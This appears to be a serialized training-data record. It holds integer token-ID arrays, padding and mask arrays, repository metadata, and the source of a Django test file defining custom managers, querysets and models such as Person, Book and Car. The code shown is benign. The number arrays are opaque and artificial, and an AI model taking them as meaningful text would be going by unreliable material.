[ 747, 199, 504, 12166, 9233, 492, 7146, 199, 504, 2630, 14, 1246, 492, 2120, 12, 2257, 12, 2589, 421, 199, 32, 1765, 199, 318, 9626, 63, 12955, 837, 272, 1101, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 83, 405, 297, 283, 888, 14, 4848, 358, 272, 2257, 360, 863, 405, 9626, 446, 67, 9499, 908, 8, 888, 430, 421, 199, 32, 1765, 199, 318, 6555, 63, 12955, 837, 272, 1101, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 83, 405, 297, 283, 888, 14, 4848, 358, 272, 2257, 360, 863, 405, 6555, 446, 67, 9499, 908, 8, 888, 430, 421, 199, 32, 1765, 199, 318, 9626, 63, 6429, 837, 272, 1072, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 1986, 63, 694, 12, 283, 6429, 297, 283, 4133, 14, 3596, 358, 272, 10554, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 331, 2026, 397, 1669, 83, 358, 272, 2257, 360, 331, 24715, 446, 67, 446, 87, 446, 74, 1052, 9499, 908, 8, 1199, 12, 10554, 430, 421, 199, 32, 1765, 199, 318, 6555, 63, 6429, 837, 272, 1072, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 1986, 63, 694, 12, 283, 6429, 297, 283, 4133, 14, 3596, 358, 272, 10554, 275, 747, 14, 515, 14, 904, 8, 1813, 14, 12186, 63, 694, 12, 283, 331, 2026, 397, 1669, 83, 358, 272, 2257, 360, 331, 24715, 446, 67, 446, 74, 1052, 9499, 908, 8, 1199, 12, 10554, 430, 421, 199, 32, 1765, 199, 318, 12166, 9233, 837, 272, 1166, 275, 283, 1014, 921, 2374, 26, 13155, 1398, 15, 6442, 9233, 14, 3596, 7, 272, 870, 334, 267, 283, 1378, 12166, 9233, 2195, 3330, 6497, 1050, 314, 2569, 2884, 1947, 370, 283, 267, 283, 12695, 4163, 4881, 272, 776, 272, 870, 2125, 272, 870, 283, 259, 665, 1579, 730, 628, 505, 15, 9554, 2, 2928, 32053, 10070, 1579, 22936, 908, 8, 633, 9, 272, 870, 2125, 272, 1654, 275, 7146, 342, 272, 1654, 14, 6821, 8, 1813, 14, 1986, 63, 694, 9, 272, 1654, 14, 6821, 8, 1813, 14, 5876, 63, 694, 9, 272, 1654, 14, 4909, 8, 719, 29, 13155, 1398, 12, 1591, 534, 16, 14, 16, 14, 16, 14, 16, 358, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
tayfun/django
tests/custom_managers/models.py
238
6791
""" Giving models a custom manager You can use a custom ``Manager`` in a particular model by extending the base ``Manager`` class and instantiating your custom ``Manager`` in your model. There are two reasons you might want to customize a ``Manager``: to add extra ``Manager`` methods, and/or to modify the initial ``QuerySet`` the ``Manager`` returns. """ from __future__ import unicode_literals from django.contrib.contenttypes.fields import ( GenericForeignKey, GenericRelation, ) from django.db import models from django.utils.encoding import python_2_unicode_compatible class PersonManager(models.Manager): def get_fun_people(self): return self.filter(fun=True) class PublishedBookManager(models.Manager): def get_queryset(self): return super(PublishedBookManager, self).get_queryset().filter(is_published=True) class CustomQuerySet(models.QuerySet): def filter(self, *args, **kwargs): queryset = super(CustomQuerySet, self).filter(fun=True) queryset._filter_CustomQuerySet = True return queryset def public_method(self, *args, **kwargs): return self.all() def _private_method(self, *args, **kwargs): return self.all() def optout_public_method(self, *args, **kwargs): return self.all() optout_public_method.queryset_only = True def _optin_private_method(self, *args, **kwargs): return self.all() _optin_private_method.queryset_only = False class BaseCustomManager(models.Manager): def __init__(self, arg): super(BaseCustomManager, self).__init__() self.init_arg = arg def filter(self, *args, **kwargs): queryset = super(BaseCustomManager, self).filter(fun=True) queryset._filter_CustomManager = True return queryset def manager_only(self): return self.all() CustomManager = BaseCustomManager.from_queryset(CustomQuerySet) class CustomInitQuerySet(models.QuerySet): # QuerySet with an __init__() method that takes an additional argument. def __init__(self, custom_optional_arg=None, model=None, query=None, using=None, hints=None): super(CustomInitQuerySet, self).__init__(model=model, query=query, using=using, hints=hints) class DeconstructibleCustomManager(BaseCustomManager.from_queryset(CustomQuerySet)): def __init__(self, a, b, c=1, d=2): super(DeconstructibleCustomManager, self).__init__(a) class FunPeopleManager(models.Manager): def get_queryset(self): return super(FunPeopleManager, self).get_queryset().filter(fun=True) class BoringPeopleManager(models.Manager): def get_queryset(self): return super(BoringPeopleManager, self).get_queryset().filter(fun=False) @python_2_unicode_compatible class Person(models.Model): first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=30) fun = models.BooleanField(default=False) favorite_book = models.ForeignKey('Book', models.SET_NULL, null=True, related_name='favorite_books') favorite_thing_type = models.ForeignKey('contenttypes.ContentType', models.SET_NULL, null=True) favorite_thing_id = models.IntegerField(null=True) favorite_thing = GenericForeignKey('favorite_thing_type', 'favorite_thing_id') objects = PersonManager() fun_people = FunPeopleManager() boring_people = BoringPeopleManager() custom_queryset_default_manager = CustomQuerySet.as_manager() custom_queryset_custom_manager = CustomManager('hello') custom_init_queryset_manager = CustomInitQuerySet.as_manager() def __str__(self): return "%s %s" % (self.first_name, self.last_name) @python_2_unicode_compatible class FunPerson(models.Model): first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=30) fun = models.BooleanField(default=True) favorite_book = models.ForeignKey( 'Book', models.SET_NULL, null=True, related_name='fun_people_favorite_books', ) favorite_thing_type = models.ForeignKey('contenttypes.ContentType', models.SET_NULL, null=True) favorite_thing_id = models.IntegerField(null=True) favorite_thing = GenericForeignKey('favorite_thing_type', 'favorite_thing_id') objects = FunPeopleManager() def __str__(self): return "%s %s" % (self.first_name, self.last_name) @python_2_unicode_compatible class Book(models.Model): title = models.CharField(max_length=50) author = models.CharField(max_length=30) is_published = models.BooleanField(default=False) published_objects = PublishedBookManager() authors = models.ManyToManyField(Person, related_name='books') fun_authors = models.ManyToManyField(FunPerson, related_name='books') favorite_things = GenericRelation(Person, content_type_field='favorite_thing_type', object_id_field='favorite_thing_id') fun_people_favorite_things = GenericRelation(FunPerson, content_type_field='favorite_thing_type', object_id_field='favorite_thing_id') def __str__(self): return self.title class FastCarManager(models.Manager): def get_queryset(self): return super(FastCarManager, self).get_queryset().filter(top_speed__gt=150) @python_2_unicode_compatible class Car(models.Model): name = models.CharField(max_length=10) mileage = models.IntegerField() top_speed = models.IntegerField(help_text="In miles per hour.") cars = models.Manager() fast_cars = FastCarManager() def __str__(self): return self.name class RestrictedManager(models.Manager): def get_queryset(self): return super(RestrictedManager, self).get_queryset().filter(is_public=True) @python_2_unicode_compatible class RelatedModel(models.Model): name = models.CharField(max_length=50) def __str__(self): return self.name @python_2_unicode_compatible class RestrictedModel(models.Model): name = models.CharField(max_length=50) is_public = models.BooleanField(default=False) related = models.ForeignKey(RelatedModel, models.CASCADE) objects = RestrictedManager() plain_manager = models.Manager() def __str__(self): return self.name @python_2_unicode_compatible class OneToOneRestrictedModel(models.Model): name = models.CharField(max_length=50) is_public = models.BooleanField(default=False) related = models.OneToOneField(RelatedModel, models.CASCADE) objects = RestrictedManager() plain_manager = models.Manager() def __str__(self): return self.name class AbstractPerson(models.Model): abstract_persons = models.Manager() objects = models.CharField(max_length=30) class Meta: abstract = True class PersonFromAbstract(AbstractPerson): pass
bsd-3-clause
[ 624, 199, 39, 12616, 1709, 282, 3537, 5256, 199, 199, 5556, 883, 675, 282, 3537, 1124, 2988, 1040, 315, 282, 6770, 1402, 701, 2178, 1098, 314, 1300, 199, 1040, 2988, 1040, 1021, 436, 9034, 1958, 2195, 3537, 1124, 2988, 1040, 315, 2195, 1402, 14, 199, 199, 10924, 787, 2877, 14872, 1265, 5594, 2934, 370, 17551, 282, 1124, 2988, 18983, 370, 1050, 2402, 199, 1040, 2988, 1040, 3102, 12, 436, 15, 269, 370, 2811, 314, 2536, 1124, 13689, 1040, 314, 1124, 2988, 1040, 199, 5808, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 2828, 14, 10778, 14, 955, 492, 334, 272, 8307, 3190, 12, 8307, 12617, 12, 199, 9, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 1208, 14, 2991, 492, 2366, 63, 18, 63, 2975, 63, 6490, 421, 199, 533, 8028, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7036, 63, 13562, 8, 277, 304, 267, 372, 291, 14, 1541, 8, 7036, 29, 549, 9, 421, 199, 533, 19952, 379, 8696, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7924, 8, 277, 304, 267, 372, 1613, 8, 27862, 8696, 2988, 12, 291, 680, 362, 63, 7924, 1252, 1541, 8, 374, 63, 8987, 29, 549, 9, 421, 199, 533, 8388, 13689, 8, 992, 14, 13689, 304, 272, 347, 2457, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 7594, 275, 1613, 8, 7223, 13689, 12, 291, 680, 1541, 8, 7036, 29, 549, 9, 267, 7594, 423, 1541, 63, 7223, 13689, 275, 715, 267, 372, 7594, 339, 347, 4575, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 339, 347, 485, 4239, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 339, 347, 1687, 475, 337, 63, 3455, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 272, 1687, 475, 337, 63, 3455, 63, 765, 14, 7924, 63, 2118, 275, 715, 339, 347, 485, 411, 1346, 63, 4239, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 272, 485, 411, 1346, 63, 4239, 63, 765, 14, 7924, 63, 2118, 275, 756, 421, 199, 533, 3523, 7223, 2988, 8, 992, 14, 2988, 304, 272, 347, 636, 826, 721, 277, 12, 1680, 304, 267, 1613, 8, 1563, 7223, 2988, 12, 291, 2843, 826, 4533, 267, 291, 14, 826, 63, 1273, 275, 1680, 339, 347, 2457, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 7594, 275, 1613, 8, 1563, 7223, 2988, 12, 291, 680, 1541, 8, 7036, 29, 549, 9, 267, 7594, 423, 1541, 63, 7223, 2988, 275, 715, 267, 372, 7594, 339, 347, 5256, 63, 2118, 8, 277, 304, 267, 372, 291, 14, 452, 342, 421, 199, 7223, 2988, 275, 3523, 7223, 2988, 14, 504, 63, 7924, 8, 7223, 13689, 9, 421, 199, 533, 8388, 9346, 13689, 8, 992, 14, 13689, 304, 272, 327, 18397, 543, 376, 636, 826, 4533, 1083, 626, 6181, 376, 4722, 1423, 14, 272, 347, 636, 826, 721, 277, 12, 3537, 63, 4144, 63, 1273, 29, 403, 12, 1402, 29, 403, 12, 1827, 29, 403, 12, 1808, 29, 403, 12, 18069, 29, 403, 304, 267, 1613, 8, 7223, 9346, 13689, 12, 291, 2843, 826, 721, 1238, 29, 1238, 12, 1827, 29, 1131, 12, 1808, 29, 4941, 12, 18069, 29, 12354, 9, 421, 199, 533, 1487, 388, 9853, 21602, 7223, 2988, 8, 1563, 7223, 2988, 14, 504, 63, 7924, 8, 7223, 13689, 2298, 339, 347, 636, 826, 721, 277, 12, 282, 12, 330, 12, 286, 29, 17, 12, 366, 29, 18, 304, 267, 1613, 8, 872, 388, 9853, 21602, 7223, 2988, 12, 291, 2843, 826, 721, 65, 9, 421, 199, 533, 481, 324, 8070, 7939, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7924, 8, 277, 304, 267, 372, 1613, 8, 19941, 8070, 7939, 2988, 12, 291, 680, 362, 63, 7924, 1252, 1541, 8, 7036, 29, 549, 9, 421, 199, 533, 699, 6854, 8070, 7939, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7924, 8, 277, 304, 267, 372, 1613, 8, 34, 6854, 8070, 7939, 2988, 12, 291, 680, 362, 63, 7924, 1252, 1541, 8, 7036, 29, 797, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8028, 8, 992, 14, 1685, 304, 272, 1642, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 2061, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 9627, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 339, 17914, 1175, 63, 2706, 275, 1709, 14, 3190, 360, 8696, 297, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 12, 4048, 63, 354, 534, 23874, 63, 8858, 358, 272, 17914, 1175, 63, 2127, 63, 466, 275, 1709, 14, 3190, 360, 10778, 14, 11282, 297, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 9, 272, 17914, 1175, 63, 2127, 63, 344, 275, 1709, 14, 3901, 8, 2307, 29, 549, 9, 272, 17914, 1175, 63, 2127, 275, 8307, 3190, 360, 23874, 63, 2127, 63, 466, 297, 283, 23874, 63, 2127, 63, 344, 358, 339, 2251, 275, 8028, 2988, 342, 272, 9627, 63, 13562, 275, 481, 324, 8070, 7939, 2988, 342, 272, 330, 6854, 63, 13562, 275, 699, 6854, 8070, 7939, 2988, 342, 339, 3537, 63, 7924, 63, 885, 63, 2609, 275, 8388, 13689, 14, 305, 63, 2609, 342, 272, 3537, 63, 7924, 63, 4229, 63, 2609, 275, 8388, 2988, 360, 5006, 358, 272, 3537, 63, 826, 63, 7924, 63, 2609, 275, 8388, 9346, 13689, 14, 305, 63, 2609, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 450, 83, 2, 450, 334, 277, 14, 2246, 63, 354, 12, 291, 14, 2019, 63, 354, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 481, 324, 7344, 8, 992, 14, 1685, 304, 272, 1642, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 2061, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 9627, 275 ]
[ 199, 39, 12616, 1709, 282, 3537, 5256, 199, 199, 5556, 883, 675, 282, 3537, 1124, 2988, 1040, 315, 282, 6770, 1402, 701, 2178, 1098, 314, 1300, 199, 1040, 2988, 1040, 1021, 436, 9034, 1958, 2195, 3537, 1124, 2988, 1040, 315, 2195, 1402, 14, 199, 199, 10924, 787, 2877, 14872, 1265, 5594, 2934, 370, 17551, 282, 1124, 2988, 18983, 370, 1050, 2402, 199, 1040, 2988, 1040, 3102, 12, 436, 15, 269, 370, 2811, 314, 2536, 1124, 13689, 1040, 314, 1124, 2988, 1040, 199, 5808, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 504, 1639, 14, 2828, 14, 10778, 14, 955, 492, 334, 272, 8307, 3190, 12, 8307, 12617, 12, 199, 9, 199, 504, 1639, 14, 697, 492, 1709, 199, 504, 1639, 14, 1208, 14, 2991, 492, 2366, 63, 18, 63, 2975, 63, 6490, 421, 199, 533, 8028, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7036, 63, 13562, 8, 277, 304, 267, 372, 291, 14, 1541, 8, 7036, 29, 549, 9, 421, 199, 533, 19952, 379, 8696, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7924, 8, 277, 304, 267, 372, 1613, 8, 27862, 8696, 2988, 12, 291, 680, 362, 63, 7924, 1252, 1541, 8, 374, 63, 8987, 29, 549, 9, 421, 199, 533, 8388, 13689, 8, 992, 14, 13689, 304, 272, 347, 2457, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 7594, 275, 1613, 8, 7223, 13689, 12, 291, 680, 1541, 8, 7036, 29, 549, 9, 267, 7594, 423, 1541, 63, 7223, 13689, 275, 715, 267, 372, 7594, 339, 347, 4575, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 339, 347, 485, 4239, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 339, 347, 1687, 475, 337, 63, 3455, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 272, 1687, 475, 337, 63, 3455, 63, 765, 14, 7924, 63, 2118, 275, 715, 339, 347, 485, 411, 1346, 63, 4239, 63, 765, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 291, 14, 452, 342, 272, 485, 411, 1346, 63, 4239, 63, 765, 14, 7924, 63, 2118, 275, 756, 421, 199, 533, 3523, 7223, 2988, 8, 992, 14, 2988, 304, 272, 347, 636, 826, 721, 277, 12, 1680, 304, 267, 1613, 8, 1563, 7223, 2988, 12, 291, 2843, 826, 4533, 267, 291, 14, 826, 63, 1273, 275, 1680, 339, 347, 2457, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 7594, 275, 1613, 8, 1563, 7223, 2988, 12, 291, 680, 1541, 8, 7036, 29, 549, 9, 267, 7594, 423, 1541, 63, 7223, 2988, 275, 715, 267, 372, 7594, 339, 347, 5256, 63, 2118, 8, 277, 304, 267, 372, 291, 14, 452, 342, 421, 199, 7223, 2988, 275, 3523, 7223, 2988, 14, 504, 63, 7924, 8, 7223, 13689, 9, 421, 199, 533, 8388, 9346, 13689, 8, 992, 14, 13689, 304, 272, 327, 18397, 543, 376, 636, 826, 4533, 1083, 626, 6181, 376, 4722, 1423, 14, 272, 347, 636, 826, 721, 277, 12, 3537, 63, 4144, 63, 1273, 29, 403, 12, 1402, 29, 403, 12, 1827, 29, 403, 12, 1808, 29, 403, 12, 18069, 29, 403, 304, 267, 1613, 8, 7223, 9346, 13689, 12, 291, 2843, 826, 721, 1238, 29, 1238, 12, 1827, 29, 1131, 12, 1808, 29, 4941, 12, 18069, 29, 12354, 9, 421, 199, 533, 1487, 388, 9853, 21602, 7223, 2988, 8, 1563, 7223, 2988, 14, 504, 63, 7924, 8, 7223, 13689, 2298, 339, 347, 636, 826, 721, 277, 12, 282, 12, 330, 12, 286, 29, 17, 12, 366, 29, 18, 304, 267, 1613, 8, 872, 388, 9853, 21602, 7223, 2988, 12, 291, 2843, 826, 721, 65, 9, 421, 199, 533, 481, 324, 8070, 7939, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7924, 8, 277, 304, 267, 372, 1613, 8, 19941, 8070, 7939, 2988, 12, 291, 680, 362, 63, 7924, 1252, 1541, 8, 7036, 29, 549, 9, 421, 199, 533, 699, 6854, 8070, 7939, 2988, 8, 992, 14, 2988, 304, 272, 347, 664, 63, 7924, 8, 277, 304, 267, 372, 1613, 8, 34, 6854, 8070, 7939, 2988, 12, 291, 680, 362, 63, 7924, 1252, 1541, 8, 7036, 29, 797, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 8028, 8, 992, 14, 1685, 304, 272, 1642, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 2061, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 9627, 275, 1709, 14, 5036, 8, 885, 29, 797, 9, 339, 17914, 1175, 63, 2706, 275, 1709, 14, 3190, 360, 8696, 297, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 12, 4048, 63, 354, 534, 23874, 63, 8858, 358, 272, 17914, 1175, 63, 2127, 63, 466, 275, 1709, 14, 3190, 360, 10778, 14, 11282, 297, 1709, 14, 3597, 63, 8084, 12, 2973, 29, 549, 9, 272, 17914, 1175, 63, 2127, 63, 344, 275, 1709, 14, 3901, 8, 2307, 29, 549, 9, 272, 17914, 1175, 63, 2127, 275, 8307, 3190, 360, 23874, 63, 2127, 63, 466, 297, 283, 23874, 63, 2127, 63, 344, 358, 339, 2251, 275, 8028, 2988, 342, 272, 9627, 63, 13562, 275, 481, 324, 8070, 7939, 2988, 342, 272, 330, 6854, 63, 13562, 275, 699, 6854, 8070, 7939, 2988, 342, 339, 3537, 63, 7924, 63, 885, 63, 2609, 275, 8388, 13689, 14, 305, 63, 2609, 342, 272, 3537, 63, 7924, 63, 4229, 63, 2609, 275, 8388, 2988, 360, 5006, 358, 272, 3537, 63, 826, 63, 7924, 63, 2609, 275, 8388, 9346, 13689, 14, 305, 63, 2609, 342, 339, 347, 636, 495, 721, 277, 304, 267, 372, 2071, 83, 450, 83, 2, 450, 334, 277, 14, 2246, 63, 354, 12, 291, 14, 2019, 63, 354, 9, 421, 199, 32, 1548, 63, 18, 63, 2975, 63, 6490, 199, 533, 481, 324, 7344, 8, 992, 14, 1685, 304, 272, 1642, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 2061, 63, 354, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1216, 9, 272, 9627, 275, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 